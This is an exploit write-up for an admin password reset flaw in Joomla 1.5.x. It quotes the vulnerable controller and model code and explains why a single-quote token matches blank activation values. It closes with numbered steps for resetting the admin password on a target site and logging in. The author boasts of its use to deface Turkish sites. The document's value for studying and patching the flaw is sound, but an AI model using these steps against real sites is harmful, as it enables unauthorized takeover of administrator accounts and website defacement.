##################################################################################### #### Joomla 1.5.x Remote Admin Password Change #### ##################################################################################### # # # Author: d3m0n (d3m0n@o2.pl) # # Greets: GregStar, gorion, d3d!k # # # # Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff # # # ##################################################################################### File : /components/com_user/controller.php ##################################################################################### Line : 379-399 function confirmreset() { // Check for request forgeries JRequest::checkToken() or die( 'Invalid Token' ); // Get the input $token = JRequest::getVar('token', null, 'post', 'alnum'); < --- {1} // Get the model $model = &$this->getModel('Reset'); // Verify the token if ($model->confirmReset($token) === false) < --- {2} { $message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message); return false; } $this->setRedirect('index.php?option=com_user&view=reset&layout=complete'); } ##################################################################################### File : /components/com_user/models/reset.php Line: 111-130 function confirmReset($token) { global $mainframe; $db = &JFactory::getDBO(); $db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token)); < ---- {3} // Verify the token if (!($id = $db->loadResult())) { $this->setError(JText::_('INVALID_TOKEN')); return false; } // Push the token and user id into the session $mainframe->setUserState($this->_namespace.'token', $token); $mainframe->setUserState($this->_namespace.'id', $id); return true; } ##################################################################################### {1} - Replace ' with empty char {3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' " Example : 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to url : target.com/administrator/ 5. Login admin with new password